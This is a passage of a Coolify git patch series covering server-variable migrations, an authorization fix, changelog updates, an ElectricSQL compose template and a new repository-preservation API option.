+ if (! $uuidExists) {
DB::table('shared_environment_variables')->insert([
'key' => 'COOLIFY_SERVER_UUID',
'value' => $server->uuid,
'type' => 'server',
'server_id' => $server->id,
'team_id' => $server->team_id,
+ 'is_literal' => true,
'created_at' => now(),
'updated_at' => now(),
]);
@@ -40,13 +41,14 @@ public function up(): void
->where('key', 'COOLIFY_SERVER_NAME')
->exists();
- if (!$nameExists) {
+ if (! $nameExists) {
DB::table('shared_environment_variables')->insert([
'key' => 'COOLIFY_SERVER_NAME',
'value' => $server->name,
'type' => 'server',
'server_id' => $server->id,
'team_id' => $server->team_id,
+ 'is_literal' => true,
'created_at' => now(),
'updated_at' => now(),
]);
diff --git a/database/seeders/SharedEnvironmentVariableSeeder.php b/database/seeders/SharedEnvironmentVariableSeeder.php
index b55d13a17..7a17fbd10 100644
--- a/database/seeders/SharedEnvironmentVariableSeeder.php
+++ b/database/seeders/SharedEnvironmentVariableSeeder.php
@@ -44,6 +44,7 @@ public function run(): void
'team_id' => $server->team_id,
], [
'value' => $server->uuid,
+ 'is_literal' => true,
]);
SharedEnvironmentVariable::firstOrCreate([
@@ -53,6 +54,7 @@ public function run(): void
'team_id' => $server->team_id,
], [
'value' => $server->name,
+ 'is_literal' => true,
]);
}
}
From 9cd8dff5bf5092d6b9826f9b7a5baf9337454c84 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 2 Jan 2026 17:46:44 +0100
Subject: [PATCH 009/168] fix: remove redundant sort call in environment
variables display
---
resources/views/livewire/shared-variables/server/show.blade.php | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php
index cddde9c76..c39b647fa 100644
--- a/resources/views/livewire/shared-variables/server/show.blade.php
+++ b/resources/views/livewire/shared-variables/server/show.blade.php
@@ -19,7 +19,7 @@
@if ($view === 'normal')
- @forelse ($server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sort()->sortBy('key') as $env)
+ @forelse ($server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sortBy('key') as $env)
@empty
From 5661c136f57502957eb284c47fea40e3c51d837c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 2 Jan 2026 19:51:09 +0100
Subject: [PATCH 010/168] fix: ensure authorization check for server view in
mount method
---
app/Livewire/SharedVariables/Server/Show.php | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php
index 1dd9f9d46..6078ef36f 100644
--- a/app/Livewire/SharedVariables/Server/Show.php
+++ b/app/Livewire/SharedVariables/Server/Show.php
@@ -52,9 +52,10 @@ public function mount()
$serverUuid = request()->route('server_uuid');
$teamId = currentTeam()->id;
$server = Server::where('team_id', $teamId)->where('uuid', $serverUuid)->first();
- if (!$server) {
+ if (! $server) {
return redirect()->route('dashboard');
}
+ $this->authorize('view', $server);
$this->server = $server;
$this->getDevView();
}
@@ -180,4 +181,4 @@ public function render()
{
return view('livewire.shared-variables.server.show');
}
-}
\ No newline at end of file
+}
From 54c28710d9b1ebfd93a334fb97fe79674a9e6683 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 2 Jan 2026 19:51:16 +0100
Subject: [PATCH 011/168] fix: streamline migration for adding predefined
server variables to existing servers
---
...d_server_variables_to_existing_servers.php | 76 ++++++++-----------
1 file changed, 31 insertions(+), 45 deletions(-)
diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
index 3d09197b4..c67987e67 100644
--- a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
+++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
@@ -1,7 +1,8 @@
get();
+ Server::query()->chunk(100, function ($servers) {
+ foreach ($servers as $server) {
+ $existingKeys = SharedEnvironmentVariable::where('type', 'server')
+ ->where('server_id', $server->id)
+ ->whereIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])
+ ->pluck('key')
+ ->toArray();
- foreach ($servers as $server) {
- // Check if COOLIFY_SERVER_UUID already exists
- $uuidExists = DB::table('shared_environment_variables')
- ->where('type', 'server')
- ->where('server_id', $server->id)
- ->where('key', 'COOLIFY_SERVER_UUID')
- ->exists();
+ if (! in_array('COOLIFY_SERVER_UUID', $existingKeys)) {
+ SharedEnvironmentVariable::create([
+ 'key' => 'COOLIFY_SERVER_UUID',
+ 'value' => $server->uuid,
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ 'is_literal' => true,
+ ]);
+ }
- if (! $uuidExists) {
- DB::table('shared_environment_variables')->insert([
- 'key' => 'COOLIFY_SERVER_UUID',
- 'value' => $server->uuid,
- 'type' => 'server',
- 'server_id' => $server->id,
- 'team_id' => $server->team_id,
- 'is_literal' => true,
- 'created_at' => now(),
- 'updated_at' => now(),
- ]);
+ if (! in_array('COOLIFY_SERVER_NAME', $existingKeys)) {
+ SharedEnvironmentVariable::create([
+ 'key' => 'COOLIFY_SERVER_NAME',
+ 'value' => $server->name,
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ 'is_literal' => true,
+ ]);
+ }
}
-
- // Check if COOLIFY_SERVER_NAME already exists
- $nameExists = DB::table('shared_environment_variables')
- ->where('type', 'server')
- ->where('server_id', $server->id)
- ->where('key', 'COOLIFY_SERVER_NAME')
- ->exists();
-
- if (! $nameExists) {
- DB::table('shared_environment_variables')->insert([
- 'key' => 'COOLIFY_SERVER_NAME',
- 'value' => $server->name,
- 'type' => 'server',
- 'server_id' => $server->id,
- 'team_id' => $server->team_id,
- 'is_literal' => true,
- 'created_at' => now(),
- 'updated_at' => now(),
- ]);
- }
- }
+ });
}
/**
@@ -61,9 +49,7 @@ public function up(): void
*/
public function down(): void
{
- // Remove predefined server variables
- DB::table('shared_environment_variables')
- ->where('type', 'server')
+ SharedEnvironmentVariable::where('type', 'server')
->whereIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])
->delete();
}
From 960ceddf1543e162cd5cc24e8b8aa7447dbd889a Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Sat, 7 Feb 2026 18:52:40 +0000
Subject: [PATCH 012/168] docs: update changelog
---
CHANGELOG.md | 44 ++++++++++++++++++++++++++++++++++++++------
1 file changed, 38 insertions(+), 6 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 87e8ae806..76c548627 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1190,7 +1190,16 @@ ### 🚀 Features
- *(service)* Update autobase to version 2.5 (#7923)
- *(service)* Add chibisafe template (#5808)
- *(ui)* Improve sidebar menu items styling (#7928)
-- *(service)* Improve open-archiver
+- *(template)* Add open archiver template (#6593)
+- *(service)* Add linkding template (#6651)
+- *(service)* Add glip template (#7937)
+- *(templates)* Add Sessy docker compose template (#7951)
+- *(api)* Add update urls support to services api
+- *(api)* Improve service urls update
+- *(api)* Add url update support to services api (#7929)
+- *(api)* Improve docker_compose_domains
+- *(api)* Add more allowed fields
+- *(notifications)* Add mattermost notifications (#7963)
### 🐛 Bug Fixes
@@ -3773,6 +3782,7 @@ ### 🐛 Bug Fixes
- *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management
- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6
- *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy
+- *(git)* Tracking issue due to case sensitivity
- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7
- *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency
- *(horizon)* Update queue configuration to use environment variable for dynamic queue management
@@ -3798,7 +3808,6 @@ ### 🐛 Bug Fixes
- *(application)* Add option to suppress toast notifications when loading compose file
- *(git)* Tracking issue due to case sensitivity
- *(git)* Tracking issue due to case sensitivity
-- *(git)* Tracking issue due to case sensitivity
- *(ui)* Delete button width on small screens (#6308)
- *(service)* Matrix entrypoint
- *(ui)* Add flex-wrap to prevent overflow on small screens (#6307)
@@ -4422,6 +4431,23 @@ ### 🐛 Bug Fixes
- *(api)* Deprecate applications compose endpoint
- *(api)* Applications post and patch endpoints
- *(api)* Applications create and patch endpoints (#7917)
+- *(service)* Sftpgo port
+- *(env)* Only cat .env file in dev
+- *(api)* Encoding checks (#7944)
+- *(env)* Only show nixpacks plan variables section in dev
+- Switch custom labels check to UTF-8
+- *(api)* One click service name and description cannot be set during creation
+- *(ui)* Improve volume mount warning for compose applications (#7947)
+- *(api)* Show an error if the same 2 urls are provided
+- *(preview)* Docker compose preview URLs (#7959)
+- *(api)* Check domain conflicts within the request
+- *(api)* Include docker_compose_domains in domain conflict check
+- *(api)* Is_static and docker network missing
+- *(api)* If domains field is empty clear the fqdn column
+- *(api)* Application endpoint issues part 2 (#7948)
+- Optimize queries and caching for projects and environments
+- *(perf)* Eliminate N+1 queries from InstanceSettings and Server lookups (#7966)
+- Update version numbers to 4.0.0-beta.462 and 4.0.0-beta.463
### 💼 Other
@@ -5510,6 +5536,7 @@ ### 🚜 Refactor
- Move all env sorting to one place
- *(api)* Make docker_compose_raw description more clear
- *(api)* Update application create endpoints docs
+- *(api)* Application urls validation
### 📚 Documentation
@@ -5616,7 +5643,6 @@ ### 📚 Documentation
- Update changelog
- *(tests)* Update testing guidelines for unit and feature tests
- *(sync)* Create AI Instructions Synchronization Guide and update CLAUDE.md references
-- Update changelog
- *(database-patterns)* Add critical note on mass assignment protection for new columns
- Clarify cloud-init script compatibility
- Update changelog
@@ -5647,7 +5673,9 @@ ### 📚 Documentation
- Update application architecture and database patterns for request-level caching best practices
- Remove git worktree symlink instructions from CLAUDE.md
- Remove git worktree symlink instructions from CLAUDE.md (#7908)
-- Update changelog
+- Add transcript lol link and logo to readme (#7331)
+- *(api)* Change domains to urls
+- *(api)* Improve domains API docs
### ⚡ Performance
@@ -6293,10 +6321,10 @@ ### ⚙️ Miscellaneous Tasks
- *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files
- *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively
- *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively
-- *(service)* Update Nitropage template (#6181)
-- *(versions)* Update all version
- *(bump)* Update composer deps
- *(version)* Bump Coolify version to 4.0.0-beta.420.6
+- *(service)* Update Nitropage template (#6181)
+- *(versions)* Update all version
- *(service)* Improve matrix service
- *(service)* Format runner service
- *(service)* Improve sequin
@@ -6399,6 +6427,10 @@ ### ⚙️ Miscellaneous Tasks
- *(services)* Upgrade service template json files
- *(api)* Update openapi json and yaml
- *(api)* Regenerate openapi docs
+- Prepare for PR
+- *(api)* Improve current request error message
+- *(api)* Improve current request error message
+- *(api)* Update openapi files
### ◀️ Revert
From 32e1fd97aefe440b03ee1f750761c7e46df87ba8 Mon Sep 17 00:00:00 2001
From: Matteo Gassend
Date: Sat, 7 Feb 2026 20:35:51 +0100
Subject: [PATCH 013/168] feat(templates): add ElectricSQL docker compose
template
---
public/svgs/electricsql.svg | 4 ++++
templates/compose/electricsql.yaml | 27 +++++++++++++++++++++++++++
2 files changed, 31 insertions(+)
create mode 100644 public/svgs/electricsql.svg
create mode 100644 templates/compose/electricsql.yaml
diff --git a/public/svgs/electricsql.svg b/public/svgs/electricsql.svg
new file mode 100644
index 000000000..bbffe200a
--- /dev/null
+++ b/public/svgs/electricsql.svg
@@ -0,0 +1,4 @@
+
+
+
+
diff --git a/templates/compose/electricsql.yaml b/templates/compose/electricsql.yaml
new file mode 100644
index 000000000..b1ae2ff96
--- /dev/null
+++ b/templates/compose/electricsql.yaml
@@ -0,0 +1,27 @@
+# documentation: https://electric-sql.com/docs/guides/deployment
+# slogan: Sync shape-based subsets of your Postgres data over HTTP.
+# category: backend
+# tags: electric,electricsql,realtime,sync,postgresql
+# logo: svgs/electricsql.svg
+# port: 3000
+
+## This template intentionally does not deploy PostgreSQL.
+## Set DATABASE_URL to an existing Postgres instance with logical replication enabled.
+## If ELECTRIC_SECRET is set, your own backend/proxy must append it to shape requests.
+
+services:
+ electric:
+ image: electricsql/electric:1.4.2
+ environment:
+ - SERVICE_URL_ELECTRIC_3000
+ - DATABASE_URL=${DATABASE_URL:?}
+ - ELECTRIC_SECRET=${SERVICE_PASSWORD_64_ELECTRIC}
+ - ELECTRIC_STORAGE_DIR=/app/persistent
+ - ELECTRIC_USAGE_REPORTING=${ELECTRIC_USAGE_REPORTING:-false}
+ volumes:
+ - electric_data:/app/persistent
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:3000/v1/health"]
+ interval: 10s
+ timeout: 5s
+ retries: 5
From c180947d6b3664e81927e8d68a85df0caac85c0b Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Sat, 7 Feb 2026 19:36:24 +0000
Subject: [PATCH 014/168] docs: update changelog
---
CHANGELOG.md | 2 ++
1 file changed, 2 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 76c548627..1cc1e0649 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1200,6 +1200,7 @@ ### 🚀 Features
- *(api)* Improve docker_compose_domains
- *(api)* Add more allowed fields
- *(notifications)* Add mattermost notifications (#7963)
+- *(templates)* Add ElectricSQL docker compose template
### 🐛 Bug Fixes
@@ -5676,6 +5677,7 @@ ### 📚 Documentation
- Add transcript lol link and logo to readme (#7331)
- *(api)* Change domains to urls
- *(api)* Improve domains API docs
+- Update changelog
### ⚡ Performance
From 346b2b8bd8f60ebd9db3ad8e0ba9d96a6de318cf Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Sat, 14 Feb 2026 13:11:23 +0000
Subject: [PATCH 015/168] docs: update changelog
---
CHANGELOG.md | 73 ++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 73 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 1cc1e0649..223fad638 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1201,6 +1201,30 @@ ### 🚀 Features
- *(api)* Add more allowed fields
- *(notifications)* Add mattermost notifications (#7963)
- *(templates)* Add ElectricSQL docker compose template
+- *(service)* Add back soketi-app-manager
+- *(service)* Upgrade checkmate to v3 (#7995)
+- *(service)* Update pterodactyl version (#7981)
+- *(service)* Add langflow template (#8006)
+- *(service)* Upgrade listmonk to v6
+- *(service)* Add alexandrie template (#8021)
+- *(service)* Upgrade formbricks to v4 (#8022)
+- *(service)* Add goatcounter template (#8029)
+- *(installer)* Add tencentos as a supported os
+- *(installer)* Update nightly install script
+- Update pr template to remove unnecessary quote blocks
+- *(service)* Add satisfactory game server (#8056)
+- *(service)* Disable mautic (#8088)
+- *(service)* Add bento-pdf (#8095)
+- *(ui)* Add official postgres 18 support
+- *(database)* Add official postgres 18 support
+- *(ui)* Use 2 column layout
+- *(database)* Add official postgres 18 and pgvector 18 support (#8143)
+- *(ui)* Improve global search with uuid and pr support (#7901)
+- *(openclaw)* Add Openclaw service with environment variables and health checks
+- *(service)* Disable maybe
+- *(service)* Disable maybe (#8167)
+- *(service)* Add sure
+- *(service)* Add sure (#8157)
### 🐛 Bug Fixes
@@ -4449,6 +4473,41 @@ ### 🐛 Bug Fixes
- Optimize queries and caching for projects and environments
- *(perf)* Eliminate N+1 queries from InstanceSettings and Server lookups (#7966)
- Update version numbers to 4.0.0-beta.462 and 4.0.0-beta.463
+- *(service)* Update seaweedfs logo (#7971)
+- *(service)* Soju svg
+- *(service)* Autobase database is not persisted correctly (#7978)
+- *(ui)* Make tooltips a bit wider
+- *(ui)* Modal issues
+- *(validation)* Add @, / and & support to names and descriptions
+- *(backup)* Postgres restore arithmetic syntax error (#7997)
+- *(service)* Users unable to create their first ente account without SMTP (#7986)
+- *(ui)* Horizontal overflow on application and service headings (#7970)
+- *(service)* Supabase studio settings redirect loop (#7828)
+- *(env)* Skip escaping for valid JSON in environment variables (#6160)
+- *(service)* Disable kong response buffering and increase timeouts (#7864)
+- *(service)* Rocketchat fails to start due to database version incompatibility (#7999)
+- *(service)* N8n v2 with worker timeout error
+- *(service)* Elasticsearch-with-kibana not generating account token
+- *(service)* Elasticsearch-with-kibana not generating account token (#8067)
+- *(service)* Kimai fails to start (#8027)
+- *(service)* Reactive-resume template (#8048)
+- *(api)* Infinite loop with github app with many repos (#8052)
+- *(env)* Skip escaping for valid JSON in environment variables (#8080)
+- *(docker)* Update PostgreSQL version to 16 in Dockerfile
+- *(validation)* Enforce url validation for instance domain (#8078)
+- *(service)* Bluesky pds invite code doesn't generate (#8081)
+- *(service)* Bugsink login fails due to cors (#8083)
+- *(service)* Strapi doesn't start (#8084)
+- *(service)* Activepieces postgres 18 volume mount (#8098)
+- *(service)* Forgejo login failure (#8145)
+- *(database)* Pgvector 18 version is not parsed properly
+- *(labels)* Make sure name is slugified
+- *(parser)* Replace dashes and dots in auto generated envs
+- Stop database proxy when is_public changes to false (#8138)
+- *(docs)* Update documentation link for Openclaw service
+- *(api-docs)* Use proper schema references for environment variable endpoints (#8239)
+- *(ui)* Fix datalist border color and add repository selection watcher (#8240)
+- *(server)* Improve IP uniqueness validation with team-specific error messages
### 💼 Other
@@ -4913,6 +4972,7 @@ ### 💼 Other
- CVE-2025-55182 React2shell infected supabase/studio:2025.06.02-sha-8f2993d
- Bump superset to 6.0.0
- Trim whitespace from domain input in instance settings (#7837)
+- Upgrade postgres client to fix build error
### 🚜 Refactor
@@ -5538,6 +5598,7 @@ ### 🚜 Refactor
- *(api)* Make docker_compose_raw description more clear
- *(api)* Update application create endpoints docs
- *(api)* Application urls validation
+- *(services)* Improve some service slogans
### 📚 Documentation
@@ -5678,6 +5739,10 @@ ### 📚 Documentation
- *(api)* Change domains to urls
- *(api)* Improve domains API docs
- Update changelog
+- Update changelog
+- *(api)* Improve app endpoint deprecation description
+- Add Coolify design system reference
+- Add Coolify design system reference (#8237)
### ⚡ Performance
@@ -6433,6 +6498,14 @@ ### ⚙️ Miscellaneous Tasks
- *(api)* Improve current request error message
- *(api)* Improve current request error message
- *(api)* Update openapi files
+- *(service)* Update service templates json
+- *(services)* Update service template json files
+- *(service)* Use major version for openpanel (#8053)
+- Prepare for PR
+- *(services)* Update service template json files
+- Bump coolify version
+- Prepare for PR
+- Prepare for PR
### ◀️ Revert
From a0077de12cb9e05e6fb7c90ea223abaf329f2684 Mon Sep 17 00:00:00 2001
From: Ahmed
Date: Sun, 15 Feb 2026 22:21:26 +0300
Subject: [PATCH 016/168] feat: add 'is_preserve_repository_enabled' option to
application controler for PATCH, POST
---
.../Api/ApplicationsController.php | 28 ++++++++++++++++---
1 file changed, 24 insertions(+), 4 deletions(-)
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 1e045ff5a..bad0adac3 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -226,6 +226,7 @@ public function applications(Request $request)
'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'],
'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'],
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
+ 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'],
],
)
),
@@ -391,6 +392,7 @@ public function create_public_application(Request $request)
'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'],
'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'],
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
+ 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'],
],
)
),
@@ -556,6 +558,7 @@ public function create_private_gh_app_application(Request $request)
'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'],
'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'],
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
+ 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'],
],
)
),
@@ -1002,7 +1005,7 @@ private function create_application(Request $request, $type)
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
- $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
+ $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled'];
$validator = customApiValidator($request->all(), [
'name' => 'string|max:255',
@@ -1051,6 +1054,7 @@ private function create_application(Request $request, $type)
$connectToDockerNetwork = $request->connect_to_docker_network;
$customNginxConfiguration = $request->custom_nginx_configuration;
$isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true);
+ $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false);
if (! is_null($customNginxConfiguration)) {
if (! isBase64Encoded($customNginxConfiguration)) {
@@ -1253,6 +1257,10 @@ private function create_application(Request $request, $type)
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
$application->settings->save();
}
+ if (isset($isPreserveRepositoryEnabled)) {
+ $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
+ $application->settings->save();
+ }
$application->refresh();
// Auto-generate domain if requested and no custom domain provided
if ($autogenerateDomain && blank($fqdn)) {
@@ -1486,6 +1494,10 @@ private function create_application(Request $request, $type)
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
$application->settings->save();
}
+ if (isset($isPreserveRepositoryEnabled)) {
+ $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
+ $application->settings->save();
+ }
if ($application->settings->is_container_label_readonly_enabled) {
$application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n");
$application->save();
@@ -1683,6 +1695,10 @@ private function create_application(Request $request, $type)
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
$application->settings->save();
}
+ if (isset($isPreserveRepositoryEnabled)) {
+ $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
+ $application->settings->save();
+ }
if ($application->settings->is_container_label_readonly_enabled) {
$application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n");
$application->save();
@@ -2378,6 +2394,7 @@ public function delete_by_uuid(Request $request)
'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'],
'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'],
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
+ 'is_preserve_repository_enabled' => ['type' => 'boolean', 'description' => 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.'],
],
)
),
@@ -2463,7 +2480,7 @@ public function update_by_uuid(Request $request)
$this->authorize('update', $application);
$server = $application->destination->server;
- $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
+ $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 